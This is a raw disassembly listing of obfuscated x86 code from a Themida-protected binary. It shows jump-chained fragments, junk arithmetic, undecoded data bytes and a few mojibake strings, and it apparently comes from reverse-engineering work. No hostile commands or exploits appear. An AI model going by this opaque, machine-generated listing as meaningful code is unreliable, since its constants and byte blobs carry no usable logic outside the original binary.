; ---------------------------------------------------------------------------


loc_55B984:				; CODE XREF: Themida_:005526B7j
		and	ecx, ebx
		pop	ebx
		shr	ecx, 4
		xor	ecx, 0ACB03CFFh
		sub	edi, ecx
		pop	ecx
		sub	edx, edi
		pop	edi
		jmp	loc_5572E4
; ---------------------------------------------------------------------------


loc_55B99B:				; CODE XREF: Themida_:00557A54j
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, eax
		mov	edx, ebx
		jmp	loc_555101
; ---------------------------------------------------------------------------
		db 89h
		dd 0E18158C1h, 40D94DA0h, 14A9C181h, 0CA29CE92h, 4445E959h
		dd 8351FFFFh, 1C8904ECh, 4961BB24h, 0C9E94830h
		db 46h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55B9DF:				; CODE XREF: Themida_:0055123Cj
		sub	ebp, 4F9077C1h
		pop	edi
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		mov	[esp], esi
		push	esp
		pop	esi
		push	ebp
		mov	ebp, 67B63660h
		inc	ebp
		sub	ebp, 67B6365Dh
		add	esi, ebp
		pop	ebp
		jmp	loc_559A45
; ---------------------------------------------------------------------------


loc_55BA0A:				; CODE XREF: Themida_:005519B3j
		mov	dl, 39h
		jmp	loc_55B701
; ---------------------------------------------------------------------------
		db 59h,	58h, 0E9h
		dd 58Fh, 24048F54h, 0D8E6E957h,	0E981FFFFh, 0FBFBFDC8h
		dd 159CE89h, 24348BF5h,	4C481h,	2C870000h, 0BF15E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55BA3E:				; CODE XREF: Themida_:0055168Fj
		add	edx, 4
		add	edx, 4
		push	49F7h
		jmp	loc_55B7BF
; ---------------------------------------------------------------------------
		dd 5304C483h, 0CB75BCBBh, 96ADE956h, 0F189FFFFh, 1EEE9h
		dd 2369B800h, 0D0F7341Fh, 0FF59CBE9h, 0D6F74EFFh, 0F681E6D1h
		dd 177C3426h, 336EF681h, 0F501FBF7h, 2C5815Eh, 68000000h
		dd 574Ch, 0FF242C89h, 5D042474h, 8B24048Fh, 0EC832424h
		dd 84CBE904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55BAAA:				; CODE XREF: Themida_:00554636j
		add	edx, 62557AF7h
		add	edx, 160245DFh
		add	edx, 6F424474h
		sub	edx, ecx
		sub	edx, 6F424474h
		sub	edx, 160245DFh
		push	edi
		mov	edi, 7F0C6395h
		push	edi
		xchg	eax, [esp]
		jmp	loc_5512FB
; ---------------------------------------------------------------------------
		db 89h,	1Ch, 24h
		dd 0FFA2D2E9h, 2CBA52FFh, 21660F65h, 0BF575AD6h, 6F7C2AB7h
		dd 0FFA568E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55BAF5:				; CODE XREF: Themida_:00551049j
		pop	eax
		jmp	loc_5553CA
; ---------------------------------------------------------------------------
		db 8Bh
		dd 89502414h, 405E0h, 0E9560000h, 0FFFF5253h
dword_55BB0C	dd 42474FFh, 0FFD9C9E9h, 686657FFh, 5F664FAAh, 91CF8166h
					; DATA XREF: Themida_:0054FBE0o
		dd 0FD48E97Fh, 0EB80FFFFh, 0E7EB8009h, 8050EB80h, 0EB803BEBh
		dd 80C300CEh, 0C380CEC3h, 0B252503Bh, 50DAF65Bh, 0C480FDB4h
		dd 58E230F8h, 0E95AD488h, 0FFFFE58Ah, 51E95751h
		db 0BCh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55BB5B:				; CODE XREF: Themida_:00551BA0j
		not	edx
		add	edx, 5E071575h
		add	eax, edx
		jmp	loc_552F21
; ---------------------------------------------------------------------------
		dw 8966h
		dd 81662404h, 272C2404h, 243C8B66h, 2C481h, 81660000h
		dd 58272CEFh, 66FB0966h, 0DA3AE95Fh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55BB8E:				; CODE XREF: Themida_:0055B327j
		sub	edi, 14E950B3h
		sub	edi, 5D334F8Dh
		add	edi, edx
		jmp	loc_555D6A
; ---------------------------------------------------------------------------
		db 0F7h, 0D3h, 0E9h
		dd 0FFFFE0AFh, 0F71321BEh, 4654E904h
		db 2 dup(0FFh)
word_55BBB2	dw 34FFh		; DATA XREF: Themida_:0054FD84o
		dd 2DE95824h
		db 46h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55BBBB:				; CODE XREF: Themida_:0055B15Dj
		add	edi, 3A700927h
		push	dword ptr [esp]
		jmp	loc_557054
; ---------------------------------------------------------------------------
		db 56h,	0E9h, 0
		db 0BAh, 2 dup(0FFh)
byte_55BBCF	db 66h			; DATA XREF: Themida_:0054FB98o
		dd 0E9240C8Bh, 0FFFFDAEFh, 8106EBC1h, 480618F3h, 5BDD01FEh
		dd 334DC581h, 63E95B2Ch
		db 0FAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55BBEF:				; CODE XREF: Themida_:00553C44j
		jmp	dword ptr [edi+eax*4]
; ---------------------------------------------------------------------------
		dw 55E9h
		db 0A3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55BBF7:				; CODE XREF: Themida_:0055401Bj
		push	small 36EAh
		mov	[esp], ax
		push	cx
		mov	cl, 73h
		jmp	loc_5577BD
; ---------------------------------------------------------------------------


loc_55BC08:				; CODE XREF: Themida_:005512E4j
		mov	esp, [esp]
		shr	eax, 0Ah
		xor	eax, ecx
		xor	eax, edx
		xor	edx, eax
		xor	eax, edx
		not	edx
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		jmp	loc_55518A
; ---------------------------------------------------------------------------


loc_55BC2F:				; CODE XREF: Themida_:0055B709j
		pop	ecx
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], eax
		push	ecx
		mov	ecx, 504C73F4h
		jmp	loc_5514B2
; ---------------------------------------------------------------------------


loc_55BC4B:				; CODE XREF: Themida_:0055340Cj
		pop	ebx
		add	ebx, 4
		jmp	loc_552EDC
; ---------------------------------------------------------------------------
		db 5Eh
		dd 0DBBBE957h, 0E94BFFFFh, 0FFFFC1DFh
dword_55BC64	dd 57240C8Bh, 651468h, 24148900h, 0BE56E289h, 56134FCDh
					; DATA XREF: Themida_:0054FC8Co
		dd 0E903EEC1h, 0FFFF75CAh
dword_55BC80	dd 24248B66h, 0FF418AE9h, 0CA215FFFh, 0FF564AE9h
					; DATA XREF: Themida_:0054FD48o
		db 0FFh
byte_55BC91	db 0FFh, 34h, 24h	; DATA XREF: Themida_:0054FC78o
		dd 0FFADA8E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55BC99:				; CODE XREF: Themida_:0055823Cj
		sub	ecx, 50C40766h
		shl	ecx, 6
		xor	ecx, 2D04D5Ch
		jmp	loc_553C85
; ---------------------------------------------------------------------------
		db 81h,	0E2h, 0DFh
		dd 816C806Ch, 0FFFB3CC2h, 0DCB3E9FBh, 0D088FFFFh, 224548Ah
		dd 2244488h, 68665866h,	89663388h, 0D9E92404h
		db 80h,	2 dup(0FFh)
byte_55BCD7	db 66h			; DATA XREF: Themida_:0054FD0Co
		dd 6824048Bh, 734Ah, 89240C89h,	4BB53E1h, 81000000h, 2900DDC1h
		dd 9137E970h, 2859FFFFh, 0B65266C3h, 66F328AAh,	2EFC685Ah
		dd 9EE90000h, 88FFFFDAh, 0C8B5B1Ah, 0F49EE924h,	34FFFFFFh
		dd 0CEE95E24h, 89FFFFC4h, 68552404h, 381A6B4Bh,	0F7D5F75Dh
		dd 0A09DE9D5h, 0E955FFFFh, 0FFFFDED9h
; ---------------------------------------------------------------------------


loc_55BD38:				; CODE XREF: Themida_:0055B4DCj
		add	eax, 4FC554BDh
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 355062FBh
		not	esi
		add	esi, 3A51C53Fh
		jmp	loc_556366
; ---------------------------------------------------------------------------
		db 53h
		dd 6B188ABBh, 0EF7AE900h, 0C89FFFFh, 4B924h, 512D0000h
		dd 133FC53h, 6B12E9C8h,	90E9FFFFh, 29FFFF40h, 52EA81DAh
		dd 5B433B59h, 2517F281h, 0C2814BA0h, 21972443h,	0C9FEF81h
		dd 0D701077Ah, 0C9FC781h, 815A077Ah, 957F19C7h,	0D6EF8110h
		dd 0E937271Ch, 0FFFFF187h, 805AD520h, 29E9FACDh, 0FFFFFFF1h
		dd 835A2434h, 895704C4h, 6FADE9E7h, 8159FFFFh, 1269B6F1h
		dd 0A446E93Fh, 0D3F7FFFFh, 0FF90B9E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55BDE5:				; CODE XREF: Themida_:005540CFj
		pop	edi
		xchg	edi, [esp]
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_550388
; ---------------------------------------------------------------------------
		dd 3AEF815Fh, 0E913EB54h, 0FFFF4BEDh
; ---------------------------------------------------------------------------


loc_55BE00:				; CODE XREF: Themida_:00553728j
		mov	[esp], edx
		sub	esp, 4
		jmp	loc_55335A
; ---------------------------------------------------------------------------
		dw 1433h
		dd 24248B24h, 3C68F1F7h, 89000031h, 9C502414h, 0FFB07AE9h
		dd 0B60F66FFh, 0BAE951CCh, 87FFFF55h, 8B5C241Ch, 0BEE9240Ch
		db 68h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55BE3B:				; CODE XREF: Themida_:00558D50j
		pop	eax
		push	edx
		push	esp
		push	dword ptr [esp]
		pop	edx
		jmp	loc_55168C
; ---------------------------------------------------------------------------


loc_55BE47:				; CODE XREF: Themida_:0055042Ej
		add	ecx, edi
		jmp	loc_556B2B
; ---------------------------------------------------------------------------
		dw 0C483h
		dd 2DC80104h, 1BBB7588h, 8B2434FFh, 0C481240Ch,	4, 4C481h
		dd 0BA520000h, 30B715D4h, 2EFB951h, 0CA015380h,	592434FFh
		dd 5004C483h, 81E908B8h, 87BFE9D9h, 3C87FFFFh, 24248B24h
		dd 81E18951h, 4C1h, 4C18100h, 87000000h, 248B240Ch, 0EEC7E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55BEAA:				; CODE XREF: Themida_:00554AE6j
		add	esi, 9AEB1E3h
		jmp	loc_551852
; ---------------------------------------------------------------------------


loc_55BEB5:				; CODE XREF: Themida_:00552CF0j
		push	7D64h
		jmp	loc_551469
; ---------------------------------------------------------------------------


loc_55BEBF:				; CODE XREF: Themida_:00552A28j
		add	ebp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		jmp	loc_5519B2
; ---------------------------------------------------------------------------
		dd 3618AEBEh, 9E62E92Bh, 0C481FFFFh, 4,	8904EC83h, 6BE92404h
		db 51h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55BEEF:				; CODE XREF: Themida_:0055307Bj
		add	ecx, ebp
		push	eax
		mov	eax, 12A74082h
		sub	ecx, eax
		mov	eax, [esp]
		jmp	loc_557D1C
; ---------------------------------------------------------------------------
		db 0B8h, 2, 0
		dd 5FE90000h, 1FFFFADh,	0ED8158C5h, 0EAB7A090h,	2C8BE831h
		dd 4C48324h, 6BF76852h,	148B73B6h, 4C48124h, 81000000h
		dd 733134C3h, 0E9D3292Ah, 0FFFF424Ch, 595EE95Fh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55BF3E:				; CODE XREF: Themida_:00559B4Cj
		pop	ebx
		pop	edi
		push	323Dh
		mov	[esp], edi
		jmp	loc_556679
; ---------------------------------------------------------------------------
		db 2Dh,	8, 79h
		dd 0D0017F4Bh, 0FF76A5E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55BF59:				; CODE XREF: Themida_:005561FFj
		and	eax, edx
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		or	edx, eax
		shl	edx, 1
		push	538h
		mov	[esp], ebx
		mov	ebx, 24h
		jmp	loc_55C0B0
; ---------------------------------------------------------------------------
		dd 2C6815Bh, 56000000h,	42474FFh, 24048F5Eh, 48B665Ch
		dd 0E9545524h, 0FFFF6E45h, 8B66D830h, 0F968241Ch, 8900001Ch
		dd 6BE92414h, 0F7FFFF6Eh, 0C98191D8h, 58C54421h, 0A805F181h
		dd 0C8298CDAh
		db 8Bh,	0Ch, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		mov	ecx, 35996494h
		dec	ecx
		jmp	loc_55934C
; ---------------------------------------------------------------------------
		dw 5ABBh
		dd 8703932Bh, 0F3874EF3h, 0FF9568E9h, 4E96B8FFh, 0C3357AA2h
		dd 0F737C405h, 1F102DD0h, 0E95575F6h, 0FFFF8C52h
dword_55BFF0	dd 5324048Bh, 8950E389h, 405E0h, 0DFE90000h ; DATA XREF: Themida_:0054FD94o
		db 0B3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55C003:				; CODE XREF: Themida_:00557C73j
		push	edi
		push	ebp
		pop	edi
		jmp	loc_553439
; ---------------------------------------------------------------------------
		db 55h
		dd 0BB3913BDh, 5DEE3148h, 0C464E955h, 0C481FFFFh, 4, 0FF3DEEE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55C025:				; CODE XREF: Themida_:005550C4j
		push	ecx
		mov	ecx, 5451DF6h
		inc	ecx
		jmp	loc_556A08
; ---------------------------------------------------------------------------
		db 1, 0D0h, 0E9h
		dd 0FFFFFAC3h, 0EC81585Bh, 4, 0BF243C89h, 52836A70h, 0E95FF829h
		dd 0FFFFB103h, 4BF5759h, 1000000h, 2C875FFDh, 0E976E924h
		dd 0CA01FFFFh, 125AC281h, 7E948A0h, 0B1FFFF87h,	0EFB2E997h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55C076:				; CODE XREF: Themida_:00559D62j
		mov	[esp], eax
		jmp	loc_557795
; ---------------------------------------------------------------------------
		dw 2768h
		dd 8900002Dh, 3BBD242Ch, 10588D2h, 0CE215DE9h, 7CCE8159h
		dd 96113400h, 54E9D0F7h, 81FFFF5Ah, 5B010FEFh, 0A7E78131h
		dd 0E9687A57h, 0FFFF95F5h
; ---------------------------------------------------------------------------


loc_55C0B0:				; CODE XREF: Themida_:0055BF73j
		add	ebx, edi
		push	edi
		mov	edi, esp
		push	ecx
		mov	ecx, 6649723Dh
		sub	ecx, 66497239h
		add	edi, ecx
		pop	ecx
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], eax
		mov	eax, 0
		add	eax, 4DB30961h
		add	eax, 2D2B1EBCh
		add	eax, ebx
		sub	eax, 2D2B1EBCh
		push	ecx
		mov	ecx, 42CA49D3h
		jmp	loc_551B56
; ---------------------------------------------------------------------------
		dw 0E956h
		dd 0FFFF7B29h
; ---------------------------------------------------------------------------


loc_55C0F8:				; CODE XREF: Themida_:005556F8j
		sub	ebx, esi
		mov	esi, [esp]
		add	esp, 4
		and	ecx, ebx
		pop	ebx
		jmp	loc_55A3AC
; ---------------------------------------------------------------------------


loc_55C10B:				; CODE XREF: Themida_:00556C65j
		xchg	edx, [esp]
		pop	esp
		mov	[esp], ecx
		push	ebp
		push	ecx
		mov	ecx, 656A6157h
		sub	ecx, 49B2581Ah
		dec	ecx
		shr	ecx, 3
		push	ebp
		mov	ebp, 0FFFFFFFFh
		add	ecx, ebp
		pop	ebp
		shl	ecx, 8
		add	ecx, 0EDAAF87Eh
		push	670Fh
		mov	[esp], eax
		mov	eax, ecx
		jmp	loc_551047
; ---------------------------------------------------------------------------
		dd 8B5AD701h, 24E92434h
		db 0BDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55C14F:				; CODE XREF: Themida_:00552D28j
		mov	edi, 4
		add	ebx, edi
		jmp	loc_5596A9
; ---------------------------------------------------------------------------


loc_55C15B:				; CODE XREF: Themida_:00556DC0j
		pop	esp
		push	7CE2h
		jmp	loc_55A9EC
; ---------------------------------------------------------------------------
		dw 0C681h
		dd 4, 5C243487h, 0FFF708E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55C175:				; CODE XREF: Themida_:0055187Fj
		pop	eax
		pop	esi
		mov	edi, [esp]
		add	esp, 4


loc_55C180:				; CODE XREF: Themida_:00551249j
					; Themida_:005571C9j
		push	5AAFh
		mov	[esp], ecx
		sub	esp, 4
		mov	[esp], ebx
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		push	2A7h
		mov	[esp], ecx
		jmp	loc_555BD2
; ---------------------------------------------------------------------------
		db 0E9h, 32h, 0
		dd 5B772D00h, 0A87FAC00h, 0F9h,	5B6AF200h, 5B0A9F00h, 727400h
		dd 20700h, 200h, 100h, 400h, 0A87FAC00h, 0F9h, 4 dup(0)
		dd 56E8BF00h, 56B7CF00h, 56D04B00h, 56B2E600h, 565CD900h
		dd 55CD2E00h, 56D76F00h, 56809400h, 55C99600h, 56593F00h
		dd 55D35B00h, 55F04000h, 56976A00h, 567F2700h, 56042500h
		dd 566C2000h, 56483C00h, 56427600h, 56629400h, 56E0A000h
		dd 55E1B300h, 55D2E400h, 567A6D00h, 570C3600h, 55E36C00h
		dd 570B0B00h, 56000A00h, 562B5F00h, 565ABE00h, 562BEB00h
		dd 56186700h, 56698300h, 56E0B500h, 55FBFF00h, 55FCD600h
		dd 56179D00h, 56060C00h, 56530800h, 56A0C400h, 5610C600h
		dd 56A4E300h, 560F9700h, 5670A800h, 566DC700h, 56409C00h
		dd 563A3B00h, 57036500h, 56F39700h, 569B2D00h, 56231000h
		dd 56845900h, 56979100h, 56CE8200h, 56F42600h, 5631C600h
		dd 5618DC00h, 56B5AA00h, 5618D100h, 56AB5400h, 56230200h
		dd 56BB3800h, 56397D00h, 56717200h, 5616D100h, 5632E900h
		dd 569A1F00h, 56F06600h, 5704E100h, 56040F00h, 5624FC00h
		dd 56A8EE00h, 56252500h, 568A2C00h, 55F99500h, 560A2400h
		dd 56568E00h, 56F0CC00h, 562D5F00h, 567CA200h, 567E5400h
		dd 55D31200h, 5618FF00h, 565BCD00h, 567EA900h, 5646E400h
		dd 55CDC800h, 566D1D00h, 56B38000h, 5616B800h, 55D1D200h
		dd 56766A00h, 55E14C00h, 569E3700h, 565CA400h, 55CE0300h
		dd 56FDD100h, 56593500h, 566A9400h, 56BB4700h, 56D79600h
		dd 570CCE00h, 55E05700h, 5645EC00h, 56271F00h, 55FE1300h
		dd 5705CA00h, 56E37600h, 56D00100h, 56B78500h, 55E27F00h
		dd 55ED6B00h, 56DEC200h, 5673A700h, 560F8800h, 567ABE00h
		dd 56AD7100h, 56554900h, 56E8CD00h, 56F1E700h, 5682D200h
		dd 56697D00h, 56B91D00h, 55E48800h, 55F16000h, 55FF5700h
		dd 5615E600h, 55D58F00h, 56A9ED00h, 56BB9700h, 570F0F00h
		dd 565D4C00h, 56F24400h, 564BCD00h, 5707B300h, 55F68600h
		dd 56DB2400h, 56370700h, 565F7A00h, 56635D00h, 5687B400h
		dd 56AFD500h, 5621DF00h, 55D3F200h, 5670B300h, 55E63700h
		dd 56185B00h, 56669900h, 55E71400h, 569D1800h, 56E9B100h
		dd 55E0B500h, 570D9700h, 56FC1200h, 56F81A00h, 56BA8100h
		dd 570AA400h, 56588C00h, 55D5FB00h, 56926C00h, 55F33700h
		dd 560B8000h, 56E13600h, 55D83500h, 563EDC00h, 56BE8C00h
		dd 55DFAE00h, 55D59D00h, 0FC9C6000h, 0E8h, 0EF815F00h
		dd 6AD44E1h, 0C781C78Bh, 6AD41F9h, 752C473Bh, 8913EB02h
		dd 0A7B92C47h, 0EB000000h, 8F440105h, 0C90B4940h, 748BF775h
		dd 0DE8B2424h, 1B9F003h, 33000000h, 0B10FF0C0h,	0F775304Fh
; ---------------------------------------------------------------------------


loc_55C4CC:				; CODE XREF: Themida_:loc_55D094j
					; Themida_:0055E512j ...
		lodsb
		xor	al, bl
		push	4F4Ch
		mov	[esp], edx
		jmp	loc_561382
; ---------------------------------------------------------------------------


loc_55C4DC:				; CODE XREF: Themida_:00567470j
		push	dword ptr [esp]
		pop	esi
		jmp	loc_56056B
; ---------------------------------------------------------------------------
		db 52h,	0FFh, 74h
		dd 148B0424h, 4C48324h,	0E924048Fh, 91Fh
; ---------------------------------------------------------------------------


loc_55C4F8:				; CODE XREF: Themida_:0056CE34j
		pop	esp
		sub	ebp, 67F742A8h
		add	ebp, 3CB71717h
		add	ebp, edi
		sub	ebp, 3CB71717h
		add	ebp, 67F742A8h
		pop	edi
		push	eax
		mov	eax, 7A5C48D7h
		add	ebx, eax
		pop	eax
		sub	ebx, ebp
		push	edx
		mov	edx, 7A5C48D7h
		sub	ebx, edx
		pop	edx
		pop	ebp
		jmp	loc_56F19A
; ---------------------------------------------------------------------------


loc_55C52E:				; CODE XREF: Themida_:00562FFBj
		push	ecx
		mov	ecx, 4
		push	esi
		jmp	loc_5635C3
; ---------------------------------------------------------------------------


loc_55C53A:				; CODE XREF: Themida_:0056B1FEj
		not	edx
		inc	edx
		add	edx, 0FFFFFFFFh
		xor	edx, 70180C26h
		sub	esp, 4
		mov	[esp], ebp
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 290D82A1h
		mov	ebp, eax
		mov	eax, [esp]
		add	esp, 4
		sub	edx, ebp
		mov	ebp, [esp]
		add	esp, 4
		xor	eax, edx
		push	dword ptr [esp]
		pop	edx
		push	edx
		jmp	loc_5664C2
; ---------------------------------------------------------------------------
		db 81h
		dd 6D9FA0F5h, 5CE956D6h
		db 0DBh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_55C58B:				; CODE XREF: Themida_:005648C8j
		add	esp, 4
		sub	eax, 6C3A5484h
		jmp	loc_56633D
; ---------------------------------------------------------------------------
aTss		db 'TИ≥$',0
		db 0
; ---------------------------------------------------------------------------


loc_55C5A1:				; CODE XREF: Themida_:00560082j
		or	[edi+1Ch], ebx
		push	dword ptr [esp]
		jmp	loc_56AABE
; ---------------------------------------------------------------------------
		dd 0E904EC83h, 13E32h
; ---------------------------------------------------------------------------


loc_55C5B4:				; CODE XREF: Themida_:0056B43Ej
		pop	ebx
		jmp	loc_570BBD
; ---------------------------------------------------------------------------
		dw 62BFh
		dd 1600163h, 48BE9F9h, 0EF810001h, 623C2954h, 5AC2E9h
		dd 4ABA5200h, 4267E817h, 126DFE9h, 40E38100h, 527DF051h
		dd 0C17143BAh, 5AD3013Fh, 1B951h, 0CB290000h, 0EF685759h
		dd 89000041h, 7268240Ch, 8B361208h, 0C483240Ch,	8E9C104h
		dd 6F2AF181h, 81410864h, 0C95138F1h, 59CF890Bh,	43B3F781h
		dd 0E7C13040h, 9F685205h, 8B07600Ah, 0C4812414h, 4, 3D2BC281h
		dd 0D70936ADh, 63C7815Ah, 3196816Dh, 243C8BFBh,	4C481h
		dd 0EC810000h, 4, 0E9240489h, 141A0h, 8124148Bh, 4C4h
		dd 4685300h, 5B000000h,	4EE9DF01h
		db 22h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55C673:				; CODE XREF: Themida_:0055FDC3j
		push	ebp
		mov	ebp, 7F364525h
		or	edx, ebp
		pop	ebp
		jmp	loc_564886
; ---------------------------------------------------------------------------


loc_55C681:				; CODE XREF: Themida_:00564CF5j
		mov	ebx, 43A24B59h
		add	ebx, 1
		jmp	loc_55FA29
; ---------------------------------------------------------------------------


loc_55C68E:				; CODE XREF: Themida_:00563CDAj
		push	esi
		sub	dword ptr [esp], 3DA31E86h
		push	dword ptr [esp]
		jmp	loc_568BA2
; ---------------------------------------------------------------------------
		dw 0EC81h
		dd 4, 0BB241C89h, 2, 875BD829h,	4BE92404h, 81000062h, 4C4h
		dd 5FF83100h, 8904EC83h, 5E542434h, 4C681h, 0E9550000h
		dd 384Bh, 95F78159h, 314B2907h,	0C8215FF9h, 144BAE9h, 240C8900h
		dd 0E874E5B9h, 0BA524942h, 4092A7Bh, 815AD101h,	889CFCC1h
		dd 71C181DDh, 813009FFh, 3504D4C9h, 3AEEE94Ch, 0B7530000h
		dd 33F7801Ah, 141A5E9h,	53E95600h, 87000080h, 248B243Ch
		dd 0B6EF8124h, 0E91F3F1Ah, 66FAh, 6269BA52h, 0FBE94C3Fh
		dd 290000E5h, 0CE0158C1h, 592434FFh, 0E904C483h, 1369h
; ---------------------------------------------------------------------------


loc_55C74C:				; CODE XREF: Themida_:0056CEB5j
		xchg	esi, [esp]
		pop	esp
		add	edx, 79FC7103h
		jmp	loc_563CC3
; ---------------------------------------------------------------------------


loc_55C75B:				; CODE XREF: Themida_:00567C4Dj
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		sub	esi, ebx
		push	dword ptr [esp]
		jmp	loc_56D0A6
; ---------------------------------------------------------------------------


loc_55C775:				; CODE XREF: Themida_:0056361Cj
		pop	ebx
		xchg	ebp, [esp]
		mov	esp, [esp]
		shr	eax, 18h
		xor	eax, ecx
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		push	edx
		push	dword ptr [esp+4]
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_565B89
; ---------------------------------------------------------------------------
aYqhP		db 'YQhфp',0
		align 4
		dd 68241489h, 5B192D52h, 0E9DAF75Ah, 133Bh, 81241C8Bh
		dd 4C4h, 0FC58000h, 0D0E9C500h,	68000035h, 0DB867BFh, 0B45EE9h
		db 0
; ---------------------------------------------------------------------------


loc_55C7D1:				; CODE XREF: Themida_:0056BCD2j
		xchg	eax, [esp]
		pop	esp
		jmp	loc_55CD4E
; ---------------------------------------------------------------------------
		dw 0E405h
		dd 0E93D6D17h, 11B5Dh
; ---------------------------------------------------------------------------


loc_55C7E4:				; CODE XREF: Themida_:0056036Dj
		mov	ecx, 0E151F3Ch
		or	ecx, 6B377B8Fh
		inc	ecx
		and	ecx, 612D1262h
		dec	ecx
		sub	ecx, 0C9EB719h
		sub	edi, ecx
		pop	ecx
		neg	edi
		sub	edi, 61EC71BFh
		add	eax, edi
		pop	edi
		xchg	eax, [esp]
		pop	esp
		shr	ecx, 2
		jmp	loc_55F392
; ---------------------------------------------------------------------------
		db 59h
		dd 6066E805h, 0ACD2D1Bh, 2E2D5437h, 1378153h, 0F320E9F8h
		dd 0BA520000h, 68EA670Fh, 0EA81DAF7h, 971598EDh, 0E95AD789h
		dd 99A1h
; ---------------------------------------------------------------------------


loc_55C844:				; CODE XREF: Themida_:0055F407j
		xor	edx, 694D5789h
		sub	edx, 0FFFFFFFFh
		push	ebx
		mov	ebx, 147747D9h
		jmp	loc_567690
; ---------------------------------------------------------------------------
		dd 8104C483h, 4C4h, 0F1EDE900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55C866:				; CODE XREF: Themida_:00568413j
		push	dword ptr [edi+1Ch]
		push	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_569E9B
; ---------------------------------------------------------------------------
		dd 685DE909h, 0C33h, 50241C89h,	0C877BB68h, 0D0F7586Bh
		dd 4C8FE9h
		db 0
; ---------------------------------------------------------------------------


loc_55C88D:				; CODE XREF: Themida_:0056DD1Bj
		mov	ecx, 538E72A3h
		shl	ecx, 8
		add	ecx, 7BA40F96h
		add	ecx, 0FDFCF1C6h
		jmp	loc_56F075
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 0C4832404h, 6EFC002h, 0E9E0EF80h, 3A5Ch, 0F1211605h
		dd 4335E12h, 24043124h,	0DDACE9h, 5DEB8900h, 38F3EB81h
		dd 0B9E91B94h, 0BF000075h, 4, 0F9CBE9h
		db 0
; ---------------------------------------------------------------------------


loc_55C8E1:				; CODE XREF: Themida_:005669E7j
		xchg	ebx, [esp]
		pop	esp
		mov	esi, [esp]
		add	esp, 4
		push	ecx
		sub	esp, 4
		mov	[esp], ebx
		sub	esp, 4
		mov	[esp], esi
		push	ebp
		push	0E224420h
		pop	ebp
		sub	ebp, 37FA7B2Ah
		sub	ebp, 0FFFFFFFFh
		dec	ebp
		add	ebp, 9A2A5207h
		push	ebx
		mov	ebx, ebp
		mov	esi, ebx
		pop	ebx
		pop	ebp
		shr	esi, 4
		shr	esi, 6
		xor	esi, 4DCF3952h
		or	esi, 2F590D34h
		xor	esi, 4BE61E48h
		jmp	loc_56746E
; ---------------------------------------------------------------------------


loc_55C93C:				; CODE XREF: Themida_:005661F6j
		push	edx
		mov	edx, 4E2E0F5Ch
		sub	eax, edx
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_56C948
; ---------------------------------------------------------------------------
aAiASs6		db '─К[(ц─ц[И≤6',0
		align 4


loc_55C95C:				; CODE XREF: Themida_:005706F9j
		xchg	edi, [esp]
		pop	esp
		mov	edi, 31771AFBh
		xor	edi, edx
		pop	edx
		add	eax, edi
		mov	edi, [esp]
		push	edi
		jmp	loc_55EB76
; ---------------------------------------------------------------------------
		db 81h
		dd 1514A2C6h, 5EF031C4h, 5440BA52h, 0D02922C2h,	0E9C7015Ah
		dd 3B84h, 66E0CD80h, 30D3E952h,	0EC830000h, 240C8904h
		dd 30524BB9h, 0B3E1814Eh, 0E9254B2Ch, 0EE9Ch
; ---------------------------------------------------------------------------


loc_55C9AC:				; CODE XREF: Themida_:0055DF7Aj
		push	dword ptr [eax]
		jmp	loc_568A98
; ---------------------------------------------------------------------------
aVicwsC		db 'V┴ФWИв√',0
		align 4
		dd 34FFDA31h, 40B3E924h, 0EC810000h, 4,	0BA241489h, 4
		dd 555AD501h, 42474FFh,	24048F5Dh, 124248Bh, 0E99C2404h
		dd 0FFFFFAE0h, 0FFFADBE9h, 3C8759FFh, 0C6815C24h, 0CA5BD9A4h
		dd 21EAE981h, 0F1014D58h, 0C73CE955h, 0C4830000h, 69626804h
		dd 3C890000h, 2E95224h
		db 7Fh,	2 dup(0)
; ---------------------------------------------------------------------------


